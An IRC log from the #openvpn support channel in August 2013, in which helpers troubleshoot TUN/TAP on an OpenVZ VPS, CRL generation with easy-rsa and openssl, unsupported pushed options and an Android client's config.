11:49 -!- APTX [APTX@unaffiliated/aptx] has quit [Quit: No Ping reply in 180 seconds.]
11:53 -!- APTX [~APTX@unaffiliated/aptx] has joined #openvpn
11:54 -!- JackWinter [~jack@vodsl-10021.vo.lu] has quit [Ping timeout: 256 seconds]
11:58 -!- JackWinter [~jack@vodsl-11151.vo.lu] has joined #openvpn
12:11 -!- higuita [~higuita@2001:b18:400f:0:74f0:c089:93a6:7b29] has quit [Ping timeout: 245 seconds]
12:14 -!- higuita [~higuita@2001:b18:400f:0:74f0:c089:93a6:7b29] has joined #openvpn
12:15 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
12:15 -!- JackWinter1 [~jack@vodsl-10917.vo.lu] has joined #openvpn
12:18 -!- JackWinter [~jack@vodsl-11151.vo.lu] has quit [Ping timeout: 256 seconds]
12:25 -!- JackWinter1 [~jack@vodsl-10917.vo.lu] has quit [Ping timeout: 248 seconds]
12:26 -!- JackWinter [~jack@vodsl-8227.vo.lu] has joined #openvpn
12:31 -!- JackWinter [~jack@vodsl-8227.vo.lu] has quit [Ping timeout: 240 seconds]
12:32 -!- kubbing [~kubbing@ip-94-113-63-41.net.upcbroadband.cz] has joined #openvpn
12:32 -!- JackWinter [~jack@vodsl-10071.vo.lu] has joined #openvpn
12:44 -!- JackWinter [~jack@vodsl-10071.vo.lu] has quit [Ping timeout: 264 seconds]
12:46 -!- JackWinter [~jack@vodsl-9478.vo.lu] has joined #openvpn
13:25 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has quit [Ping timeout: 264 seconds]
13:32 -!- kubbing [~kubbing@ip-94-113-63-41.net.upcbroadband.cz] has quit [Remote host closed the connection]
13:32 -!- s0meone [~someone@somewhe.re] has joined #openvpn
13:33 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
13:34 < s0meone> !welcome
13:34 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
13:34 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
13:40 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
13:55 -!- JackWinter1 [~jack@vodsl-10921.vo.lu] has joined #openvpn
13:58 -!- JackWinter [~jack@vodsl-9478.vo.lu] has quit [Ping timeout: 240 seconds]
14:04 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
14:22 -!- averagecase [~anon@dslb-178-006-165-123.pools.arcor-ip.net] has joined #openvpn
14:39 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 264 seconds]
14:54 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 264 seconds]
15:11 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has quit [Quit: Leaving.]
15:23 -!- Devastator [~devas@unaffiliated/devastator] has quit [Remote host closed the connection]
15:24 -!- Devastator [~devas@186.214.110.95] has joined #openvpn
15:36 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
15:51 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
16:30 -!- Devastator [~devas@186.214.110.95] has quit [Changing host]
16:30 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
16:31 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
16:48 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Ping timeout: 276 seconds]
16:52 -!- higuita [~higuita@2001:b18:400f:0:74f0:c089:93a6:7b29] has quit [Ping timeout: 260 seconds]
16:55 -!- higuita [~higuita@2001:b18:400f:0:74f0:c089:93a6:7b29] has joined #openvpn
17:08 -!- trumee_ [~parul@93.186.147.20] has quit [Read error: Connection reset by peer]
17:09 -!- trumee [~parul@93.186.147.20] has joined #openvpn
17:25 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
17:26 -!- averagecase [~anon@dslb-178-006-165-123.pools.arcor-ip.net] has quit [Quit: Verlassend]
17:39 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 248 seconds]
17:40 -!- Devastator [~devas@186.214.110.95] has joined #openvpn
17:40 -!- Devastator [~devas@186.214.110.95] has quit [Changing host]
17:40 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
18:23 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 246 seconds]
18:26 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:28 -!- higuita [~higuita@2001:b18:400f:0:74f0:c089:93a6:7b29] has quit [Ping timeout: 260 seconds]
18:31 -!- higuita [~higuita@2001:b18:400f:0:49b6:e164:1dfc:6ceb] has joined #openvpn
18:47 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 264 seconds]
18:59 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
19:13 -!- mode/#openvpn [-v pekster] by ChanServ
19:13 -!- mode/#openvpn [+v pekster] by ChanServ
19:14 -!- speed_racer84 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has joined #openvpn
19:38 -!- master_o1_master [~master_of@p4FD7BD3A.dip0.t-ipconnect.de] has joined #openvpn
19:42 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:42 -!- master_of_master [~master_of@p4FD7B716.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
19:51 -!- Pei [~pei@thinks.outside.theb0x.org] has joined #openvpn
19:52 < Pei> is there anything special you have to do with OpenVZ VPS to get the tun interface up.... Tech support for my VPS has said twice now that he did in fact enable TUN/TAP for me, but I still get
19:52 < Pei> Mon Aug 12 04:46:58 2013 Note: Cannot open TUN/TAP dev /dev/net/tun: No such device (errno=19)
19:52 < Pei> and yes i have rebooted like three times
19:53 <+pekster> !openvz
19:53 <@vpnHelper> "openvz" is (#1) http://wiki.openvz.org/VPN_via_the_TUN/TAP_device to learn bout openvz specific stuff with regards to openvpn or (#2) It is usually less painful to switch to a host with better virtualization technology, eg KVM or Xen
19:55 <+pekster> You need either tun built into the running kernel or a module loaded in order to use it. Modern Linuxes should create the device node automatically when the module is loaded (or dynamically when the kernel starts if it's built-in) but if you need (for some silly reason) you can `mknod /dev/net/tun c 10 200` which creates the device node with the right major:minor values for tun
19:55 <+pekster> This said, that won't help if the kernel doesn't have support, and since you don't "really" have root, you can't fix it
19:55 < Pei> i'll let the guy know
20:04 -!- klein [~klein@177.101.106.67] has joined #openvpn
20:04 -!- klein [~klein@177.101.106.67] has quit [Changing host]
20:04 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
20:27 -!- shawnps [~shawn@li432-69.members.linode.com] has left #openvpn []
20:51 -!- speed_racer84 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has quit [Ping timeout: 240 seconds]
21:06 -!- devdel [~d3vd3l@h-239-90.a199.priv.bahnhof.se] has joined #openvpn
21:08 -!- devdel [~d3vd3l@h-239-90.a199.priv.bahnhof.se] has quit [Client Quit]
21:49 -!- higuita [~higuita@2001:b18:400f:0:49b6:e164:1dfc:6ceb] has quit [Ping timeout: 260 seconds]
21:51 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 248 seconds]
21:53 -!- higuita [~higuita@2001:b18:400f:0:49b6:e164:1dfc:6ceb] has joined #openvpn
22:00 -!- higuita [~higuita@2001:b18:400f:0:49b6:e164:1dfc:6ceb] has quit [Ping timeout: 245 seconds]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:02 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
22:02 -!- higuita [~higuita@2001:b18:400f:0:49b6:e164:1dfc:6ceb] has joined #openvpn
22:19 -!- kro[au] [~thatguy@kgovps.com] has quit [Excess Flood]
22:20 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
22:26 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
22:28 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
22:40 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
22:43 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
22:44 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
23:03 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 264 seconds]
23:06 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
23:46 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 260 seconds]
23:50 -!- mchou [~quassel@unaffiliated/mchou] has quit [Quit: No Ping reply in 180 seconds.]
23:50 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
23:59 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
23:59 -!- higuita [~higuita@2001:b18:400f:0:49b6:e164:1dfc:6ceb] has quit [Ping timeout: 260 seconds]
--- Day changed Mon Aug 12 2013
00:01 < kisom> iptables' support for recent lists is awesome
00:01 < kisom> 46k IP addresses banned so far
00:03 -!- higuita [~higuita@2001:b18:400f:0:49b6:e164:1dfc:6ceb] has joined #openvpn
00:06 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 248 seconds]
00:14 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
00:20 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
00:42 -!- majuscule [~dylan@dylansserver.com] has quit [Quit: Lost terminal]
01:54 -!- higuita [~higuita@2001:b18:400f:0:49b6:e164:1dfc:6ceb] has quit [Ping timeout: 260 seconds]
01:57 -!- higuita [~higuita@2001:b18:400f:0:49b6:e164:1dfc:6ceb] has joined #openvpn
02:05 -!- JordanJ2 [~Jordan@108.172.151.39] has joined #openvpn
02:06 < JordanJ2> Hello, I have a .crt file but penVON on android will not reconize it
02:06 < JordanJ2> OpenVPN*
02:06 < JordanJ2> Can someone help me?
02:11 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
02:13 < JordanJ2> Hi MariusIT!
02:15 < MariusIT> Hi JordanJ2!
02:26 -!- JordanJ2 [~Jordan@108.172.151.39] has quit [Quit: Leaving]
02:29 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has quit [Ping timeout: 245 seconds]
02:34 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
02:59 -!- koriel [~quassel@kentrikoncafe.ath.forthnet.gr] has joined #openvpn
02:59 -!- koriel [~quassel@kentrikoncafe.ath.forthnet.gr] has quit [Client Quit]
02:59 -!- koriel [~quassel@kentrikoncafe.ath.forthnet.gr] has joined #openvpn
03:00 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Ping timeout: 276 seconds]
03:00 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 264 seconds]
03:01 < koriel> hi all quick question ... I'm trying to connect to a vpn server from a cafe bar ... but I get a warning for confict ips (192.168.1.0) ... I cannot change the server settings ... can I do something from my laptop to avoid this problem ....
03:01 < koriel> because it seems that dns resolving is not working when I connect to the vpn server
03:02 -!- _bt [foobar@77.240.12.157] has quit [Changing host]
03:02 -!- _bt [foobar@unaffiliated/bt/x-192343] has joined #openvpn
03:12 -!- koriel [~quassel@kentrikoncafe.ath.forthnet.gr] has quit [Remote host closed the connection]
03:15 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
03:15 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
03:16 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
03:38 -!- xdarklight [~darklight@unaffiliated/xdarklight] has joined #openvpn
03:38 < xdarklight> hi everyone
03:39 < xdarklight> no sure anyone has noticed, but the certificate here expired today: https://secure.openvpn.net/pubkey.txt
03:39 < xdarklight> (not the key, but the certificate used for the https connection ;))
03:40 < xdarklight> and there's another "bug" on the website: this link is not working: http://repos.openvpn.net/repos/repo-public.gpg (it's listed in the first wget step here: http://repos.openvpn.net/repos/apt/conf/repos.openvpn.net-as-stable.txt)
03:43 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
03:49 -!- ade_b [~Ade@business-178-015-066-053.static.arcor-ip.net] has joined #openvpn
03:49 -!- ade_b [~Ade@business-178-015-066-053.static.arcor-ip.net] has quit [Changing host]
03:49 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
04:12 -!- Stew-a [~Stewart@unaffiliated/stew-a/x-2962361] has quit [Read error: Operation timed out]
04:17 -!- JackWinter [~jack@vodsl-9655.vo.lu] has joined #openvpn
04:20 -!- Stew-a [~Stewart@unaffiliated/stew-a/x-2962361] has joined #openvpn
04:20 -!- JackWinter1 [~jack@vodsl-10921.vo.lu] has quit [Ping timeout: 256 seconds]
04:24 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
04:40 -!- pcdummy [~quassel@unaffiliated/pcdummy] has quit [Remote host closed the connection]
04:41 -!- Stew-a [~Stewart@unaffiliated/stew-a/x-2962361] has quit [Ping timeout: 246 seconds]
04:45 -!- spacedust [~info@unaffiliated/cosmicblue] has left #openvpn []
04:45 -!- JackWinter [~jack@vodsl-9655.vo.lu] has quit [Quit: ZNC - http://znc.in]
04:46 -!- pcdummy [~quassel@unaffiliated/pcdummy] has joined #openvpn
04:47 -!- JackWinter [~jack@vodsl-9655.vo.lu] has joined #openvpn
04:49 -!- Stew-a [~Stewart@unaffiliated/stew-a/x-2962361] has joined #openvpn
04:54 -!- Stew-a [~Stewart@unaffiliated/stew-a/x-2962361] has quit [Ping timeout: 276 seconds]
04:56 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
05:03 -!- Stew-a [~Stewart@unaffiliated/stew-a/x-2962361] has joined #openvpn
05:06 -!- JackWinter [~jack@vodsl-9655.vo.lu] has quit [Quit: ZNC - http://znc.in]
05:09 -!- JackWinter [~jack@vodsl-9655.vo.lu] has joined #openvpn
05:12 -!- JackWinter1 [~jack@vodsl-9655.vo.lu] has joined #openvpn
05:15 -!- JackWinter [~jack@vodsl-9655.vo.lu] has quit [Ping timeout: 264 seconds]
05:20 -!- JackWinter1 [~jack@vodsl-9655.vo.lu] has quit [Quit: ZNC - http://znc.in]
05:21 -!- JackWinter [~jack@vodsl-9655.vo.lu] has joined #openvpn
05:37 -!- JackWinter1 [~jack@vodsl-9655.vo.lu] has joined #openvpn
05:40 -!- JackWinter [~jack@vodsl-9655.vo.lu] has quit [Ping timeout: 246 seconds]
05:45 -!- Devastatr [~devas@186.214.110.95] has joined #openvpn
05:45 -!- krapper [krapper@territory.krapper.net] has quit [Read error: Connection reset by peer]
05:45 -!- krapper [krapper@territory.krapper.net] has joined #openvpn
05:45 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
05:56 -!- JackWinter1 [~jack@vodsl-9655.vo.lu] has quit [Quit: ZNC - http://znc.in]
05:57 -!- |1li_ [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
05:58 -!- JackWinter [~jack@vodsl-9655.vo.lu] has joined #openvpn
06:04 -!- JackWinter [~jack@vodsl-9655.vo.lu] has quit [Read error: Connection reset by peer]
06:04 -!- JackWinter [~jack@vodsl-9655.vo.lu] has joined #openvpn
06:08 -!- krapper [krapper@territory.krapper.net] has quit [Read error: Connection reset by peer]
06:09 -!- krapper [krapper@territory.krapper.net] has joined #openvpn
06:09 -!- JackWinter [~jack@vodsl-9655.vo.lu] has quit [Excess Flood]
06:10 -!- JackWinter1 [~jack@vodsl-9655.vo.lu] has joined #openvpn
06:14 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 246 seconds]
06:19 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
06:45 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
06:49 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Client Quit]
06:59 -!- midacts [~midacts@207.59.77.254] has joined #openvpn
07:00 -!- Ark [~Ark@wikia/Kuja-FFIX] has joined #openvpn
07:01 -!- Ark [~Ark@wikia/Kuja-FFIX] has left #openvpn []
07:01 -!- XJR-9 [uid2977@pdpc/supporter/active/xjr-9] has joined #openvpn
07:03 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
07:18 -!- JackWinter1 [~jack@vodsl-9655.vo.lu] has quit [Ping timeout: 240 seconds]
07:19 -!- JackWinter [~jack@vodsl-9655.vo.lu] has joined #openvpn
07:39 -!- JackWinter [~jack@vodsl-9655.vo.lu] has quit [Quit: ZNC - http://znc.in]
07:44 -!- JackWinter [~jack@vodsl-9655.vo.lu] has joined #openvpn
07:44 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
08:17 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
08:21 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:23 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 264 seconds]
08:28 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 260 seconds]
08:29 -!- jefferai [~quassel@kde/mitchell] has quit [Ping timeout: 248 seconds]
08:32 -!- jefferai [~quassel@kde/mitchell] has joined #openvpn
08:49 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
08:52 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
08:57 -!- Rallias is now known as Gasseus
08:59 -!- pfoo [~pfoo@unaffiliated/pfoo] has quit [Read error: Connection reset by peer]
09:00 -!- higuita [~higuita@2001:b18:400f:0:49b6:e164:1dfc:6ceb] has quit [Ping timeout: 260 seconds]
09:00 -!- pfoo [~pfoo@154.128.83.212.te-dns.org] has joined #openvpn
09:00 -!- pfoo [~pfoo@154.128.83.212.te-dns.org] has quit [Changing host]
09:00 -!- pfoo [~pfoo@unaffiliated/pfoo] has joined #openvpn
09:02 -!- higuita [~higuita@2001:b18:400f:0:49b6:e164:1dfc:6ceb] has joined #openvpn
09:10 -!- kirin` [telex@gateway/shell/anapnea.net/x-pgmwzrslqzreaubr] has quit [Disconnected by services]
09:10 -!- krapper [krapper@territory.krapper.net] has quit [Quit: Disconnecting from stoned server.]
09:10 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Quit: Felt like it.]
09:10 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has quit [Ping timeout: 240 seconds]
09:10 -!- krapper [krapper@23.21.191.223] has joined #openvpn
09:10 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 240 seconds]
09:10 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has joined #openvpn
09:10 -!- kirin` [telex@gateway/shell/anapnea.net/x-mspknxdnybyoxhgm] has joined #openvpn
09:11 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
09:14 -!- darknyan_ [~darknyan@2a00:1630:2:f00::cafb:9c1] has joined #openvpn
09:21 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
09:34 -!- kasoban_ [~kasoban@134.106.93.0] has joined #openvpn
09:35 < kasoban_> Hi there
09:35 < kasoban_> someone here experienced with the OpenVPN android app?
09:39 < kasoban_> I imported a .ovpn profile but the app constantly tries to install the .crt again and again
09:40 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 276 seconds]
09:46 -!- Gasseus is now known as Rallias
09:47 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
09:55 < Pei> my provider called me about my server and the ddos attacks, i told them if they would load the ipt_string module for me, i could mitigate these attacks
09:55 < Pei> they're gonna see what they can do
09:55 < Pei> i also bought another vps in phoenix ax
09:55 < Pei> i also bought another vps in phoenix az
09:56 < Pei> which i have also asked them to load ipt_string
09:56 < Pei> so i will probably have my second server up again soon
10:04 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:08 < Pei> new ddos attack, query is 'dk'
10:08 < Pei> filtered out
10:13 -!- raidz_away is now known as raidz
10:17 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
10:17 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
10:17 -!- JAVACODER [~JAVACODER@2.190.37.107] has joined #openvpn
10:26 < plaisthos> kasoban_: which of the openvpn apps?
10:27 < kasoban_> OPenVPN Connect
10:27 < plaisthos> Sorry no idea about that app
10:27 <@krzee> kasoban_, maybe try "openvpn for android"  that is what i use (and what plaisthos released)
10:28 < kasoban_> got it working now with the OpenVPN app by Arne Schwabe, with some alterations to my config files, but it still bugs me that the other didn't work
10:28 <@krzee> he is the infamous arne!
10:28 < kasoban_> oh okay, might ask about that alteration then
10:28 < plaisthos> kasoban_: what did your config contain what my app did not like?
10:29 < kasoban_> my configuration uses the parameter "passtos" which seems to not be supported
10:29 < kasoban_> at least i get unrecognized options or missing parameter(s) in /data/data/de.blinkt.openvpn/cache/android.conf:36 passtos (2.4_master) upon connecting
10:31 < plaisthos> let me check ..
10:36 -!- Devastatr [~devas@186.214.110.95] has quit [Changing host]
10:36 -!- Devastatr [~devas@unaffiliated/devastator] has joined #openvpn
10:36 -!- Devastatr is now known as Devastator
10:39 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 260 seconds]
10:42 -!- JAVACODER5 [~JAVACODER@2.190.40.213] has joined #openvpn
10:44 -!- JAVACODER [~JAVACODER@2.190.37.107] has quit [Ping timeout: 246 seconds]
10:44 -!- Pei [~pei@thinks.outside.theb0x.org] has quit [Quit: l8]
10:46 < plaisthos> kasoban_: Ah. Yeah. That is a compile issue. I will fix that for next release
10:47 < kasoban_> Great, thanks a lot.
10:47 < kasoban_> As far as I can see deleting the passtos line from my config will not change an security related behaviour, is that correct?
10:51 <@krzee> does your security rely on the TOS field of your packets?
10:51 < plaisthos> kasoban_: should not
10:51 < kasoban_> I certainly hope not.
10:51 < plaisthos> kasoban_: unless a very strange qos setup it should not
11:03 < plaisthos> I don't even know if non root program are allowed to set the tos
11:04 -!- Pei [~pei@thinks.outside.theb0x.org] has joined #openvpn
11:07 < plaisthos> kasoban_: if you want I can give a test version with --passtos
11:11 < kasoban_> plaisthos, I think I can wait for an update, seems to be working without passtos for now.
11:12 < kasoban_> but thanks for the offer
11:25 -!- kasoban_ [~kasoban@134.106.93.0] has quit [Quit: Leaving]
11:52 -!- Pei [~pei@thinks.outside.theb0x.org] has quit [Quit: l8]
12:06 -!- Pei [~pei@thinks.outside.theb0x.org] has joined #openvpn
12:11 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Ping timeout: 264 seconds]
12:25 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
12:26 -!- rsh2621 [~rensharma@82-168-152-188.ip.telfort.nl] has joined #openvpn
12:29 < rsh2621> I am configuring new openvpn server and I am getting error : openvpn CRL: cannot read CRL from file while starting daemon
12:30 < rsh2621> I have set file permissions to 777
12:30 < rsh2621> but still the same error
12:30 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
12:30 < rsh2621> there is no content in the file yet as this is new server and none of the certificates has been revoked
12:30 <+pekster> 644 would be wiser permissions (do you want "anyone" to be able to edit that file? And execute permission on a CRL is silly)
12:31 <+pekster> It is not allowed to have an "empty" file -- you must generate a valid CRL even if you have revoked zero certificates
12:31 < rsh2621> I understand that, but I just wanted to make sure this is not permission issue
12:31 < rsh2621> How to generate CRL
12:32 <+pekster> Are you using easy-rsa, or openssl directly?
12:32 < rsh2621> easy-rsa
12:32 < rsh2621> If I uncomment the crl-verify, it works.
12:32 < rsh2621> and I have been using this configuration for sometime
12:34 < rsh2621> There are multiple instance of openvpn running for different type of access I want to give to different users.
12:34 <+pekster> The 2.x version of Easy-RSA doesn't support generating a CRL without "actually" revoking one. You can run the openssl command: `openssl ca -gencrl -out crl.pem -keyfile path/to/ca.key` though
12:34 < scanf> so what is wrong with: push "ip link set dev tap0 promisc on"
12:34 < scanf> gives me: openvpn[23866]: Options error: Unrecognized option or missing parameter(s) in [PUSH-OPTIONS]:1: ip (2.3.1)
12:34 < scanf> on the clients
12:34 <+pekster> My beta of Easy-RSA 3.0 lets you generate a CRL though, so that's getting better
12:35 < rsh2621> ok, let me try
12:36 <+pekster> scanf: `ip` is not a valid openvpn directive. --push can only push openvpn directives as listed in openvpn(8)
12:36 <+pekster> You can't "push" OS commands like that; you'd need a script to support things like that
12:36 <+pekster> !script
12:36 <@vpnHelper> "script" is See SCRIPTING AND ENVIRONMENTAL VARIALBES in the manual for a list of places that scripts can hook into openvpn. Online reference at: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAR
12:37 < rsh2621> Using configuration from /etc/pki/tls/openssl.cnf
12:37 < rsh2621> Error opening CA certificate /etc/pki/CA/cacert.pem
12:37 < rsh2621> 140253148145480:error:02001002:system library:fopen:No such file or directory:bss_file.c:355:fopen('/etc/pki/CA/cacert.pem','r')
12:37 < rsh2621> 140253148145480:error:20074002:BIO routines:FILE_CTRL:system lib:bss_file.c:357:
12:37 < rsh2621> unable to load certificate
12:37 < rsh2621> I am getting above error
12:38 <+pekster> Oh, source your 'vars' file and move into the dir where you kept all your files, then pass -config openssl-1.0.0.cnf to openssl as well
12:38 <+pekster> :\
12:40 <+pekster> (you probably don't need the -keyfile option at that point either.)
12:40 <+pekster> Optinally, just copy the 'reovke-full' script and coment out the 2 lines for -revoke and verify and it'll turn into a crl-update script
12:44 -!- JAVACODER5 [~JAVACODER@2.190.40.213] has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
12:46 < rsh2621> source ./vars
12:46 < rsh2621> NOTE: If you run ./clean-all, I will be doing a rm -rf on /etc/openvpn/netadmin/easy-rsa/keys
12:46 < rsh2621> openssl ca -gencrl -out crl.pem
12:46 < rsh2621> Using configuration from /etc/pki/tls/openssl.cnf
12:46 < rsh2621> Error opening CA private key /etc/pki/CA/private/cakey.pem
12:46 < rsh2621> 139688235714376:error:02001002:system library:fopen:No such file or directory:bss_file.c:355:fopen('/etc/pki/CA/private/cakey.pem','r')
12:46 < rsh2621> 139688235714376:error:20074002:BIO routines:FILE_CTRL:system lib:bss_file.c:357:
12:46 < rsh2621> unable to load CA private key
12:47 <+pekster> You forgot the config again
12:47 <+pekster> (again, just open up revoke-full to see what needs to happen)
12:47 < rsh2621> ok
12:48 <+pekster> In fact, you can just copy/pate the command, though you have to replace the "$CRL" bit as the script itself sets that
12:49 < rsh2621> yes. I can see
12:53 < s0meone> I'm trying to set up OpenVPN, but I'm having an issue where after successful authentication and DHCP receipt, the server and client stop communicating entirely. confs and log here: http://pastebin.com/D8BXguSi
12:53 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
12:57 < rsh2621> Shoul this work if I revoke one of the certificates manually
12:58 <+pekster> rsh2621: Yes, although it should 'work anyway' if you invoke the gencrl command with the right options
12:58 < rsh2621> I changed the CRL path to the file location manually
12:59 <+pekster> Just "crl.pem" is fine there
12:59 <+pekster> -out is just the filename to send the crl to
12:59 < rsh2621> ok
13:00 <+pekster> Simply, `openssl ca -gencrl -out crl.pem -config "$KEY_CONFIG"` should be sufficient
13:00 <+pekster> KEY_CONFIG comes from vars
13:00 <+pekster> assuming you're in the easyrsa dir
13:02 <+pekster> s0meone: Please don't use verb levels >5 as it makes for really unreadable logs (and 5 is only needed in cases of failure to connect.) Line 227 shows that the connection was reset; see logs on the other side (which you didn't provide) for details why
13:04 < s0meone> pekster: My understanding is that it's the timeout after 120 seconds from keepalive.
13:05 < rsh2621>  openssl ca -gencrl -out crl.pem -config "$KEY_CONFIG" Using configuration from /etc/openvpn/netadmin/easy-rsa/openssl.cnf
13:05 < rsh2621> error on line 145 of config file '/etc/openvpn/netadmin/easy-rsa/openssl.cnf'
13:05 < rsh2621> 140070454650696:error:0E065068:configuration file routines:STR_COPY:variable has no value:conf_def.c:629:line 145
13:05 <+pekster> s0meone: Not likely becuase --keepalive has a smaller timeout on the client. It's all pointless to guess though since your logs from the other end aren't included
13:06 <+pekster> rsh2621: Oh, cute. Add KEY_CN="" KEY_OU="" KEY_NAME="" before the command
13:07 <+pekster> This is why I've hacked an update to easy-rsa ;)
13:07 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Ping timeout: 240 seconds]
13:08 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
13:11 -!- Denial [Denial@90.202.5.141] has joined #openvpn
13:14 -!- star314 [~star314@78.142.105.170] has joined #openvpn
13:16 -!- star314 [~star314@78.142.105.170] has left #openvpn []
13:18 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
13:18 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
13:18 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
